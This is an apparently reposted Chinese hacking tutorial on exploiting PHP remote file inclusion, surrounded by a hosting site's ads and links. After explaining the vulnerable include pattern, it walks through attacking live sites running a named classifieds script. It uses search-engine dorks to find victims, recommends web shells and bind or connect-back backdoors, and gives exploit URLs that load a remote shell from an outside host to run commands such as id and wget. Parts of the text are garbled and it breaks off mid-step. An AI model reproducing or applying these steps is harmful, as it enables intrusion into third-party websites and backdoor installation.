远程文件包含漏洞的利用

2008-04-09 04:12:17来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折


****************************
*AuThor:CrAcKlOvE *
*emA!l:CrAcKlOvE#zJ.cOM *
*HoMePaGe:N/a,mAyBe DoWn *
****************************
1)什么是远程文件包含漏洞?
让我们先看看以下代码,
<?
<!--- cOdz ---> include($page); <!--- cOdz --->
?> 由于$page变量缺少充分过滤,判断$page是不是本地的还是远程服务器上的,因此我们可以指定远程服务器的文件作为参数提交给$page变量,
以web权限执行远程文件. 2)漏洞的初步应用
假设某一站点的index.php代码如下
<?
<!--- cOdz ---> include($page); <!--- cOdz --->
?>
我们就可以提交:
http://siteurl.tld/index.php?page=http://远程服务器/文件名称
假设?
颐窃冻涛募??莆獁arez.php,内容为
<?
<!--- cOdz ---> system("ls /tmp/"); <!--- cOdz --->
?>
这样就能把warez.php下载到本地,并且执行! 说白了,就是把tmp下的文件显示出来. 3)实战演练
说了一大堆,现在开始锻炼实践能力了,嘿嘿.
⑴准备工作:
①存在远程文件包含漏洞的站点
②phpshell
③Backdoor 对于①,大家可以到www.cnns.net或者www.securiteam.com关注近期的漏洞,一定会有的,我们拿最近的Artmedic kleinanzeigen漏洞练手.
Artmedic kleinanzeigen由于index.php的$site变量缺少过滤,导致了远程文件包含漏洞.所以我们可以提交以下url
http://Artmedic kleinanzeigen url/path/index.php?site=http://phpshellurl
那如何找到使用Artmedic kleinanzeigen的站点呢?这里有个小技巧,我顺便说一下.
我先去Artmedic kleinanzeigen的官方站找到Artmedic kleinanzeigen程序的演示,随便点了个连接,
连接



http://siteurl.com/index.php?site=anzeigenmaerktestart,于是?"
蚩猤oogle.com,搜索index.php?site=anzeigenmaerktestart,
那些!
使用Artm
edic kleinanzeigen的站就差不多出来了,我们可以一一去尝试! 对于②,我推荐Data Cha0s PHP Command/Safemode Exploit 4.1,或者angel的saphpshell,phpspy,功能都不错. 对于③,你可以使用绑定端口的程序bind,然后根据程序绑定的端口telnet.你可以使用san以前用过的Digit-Labs Connect-Back Backdoor,
不过我经常使用bindtty,bindtty绑定7474端口. ⑵开始利用
①提




http://xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=id"
说明一下,cse.gif是上文所说的Data Cha0s PHP Command/Safemode Exploit 4.1,cmd=id是查询当前用户的权限.
一般所都是uid=99(nobody) gid=99(nobody) groups=99(nobody),uid不是0,所以他不是root级别的帐户.
竟然可以执行,那么说明system函数没有被禁止,那我们就可以大胆的执行命令了! ②提




http://xxx.de/index.php?site=http://phphot.com/cse.gif?cmd=wget



标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:广西20岁少年黑客盗取200多他人宽带上网账号落网

下一篇:庖丁解'D',游刃有余---Discuz!免费版安全性分析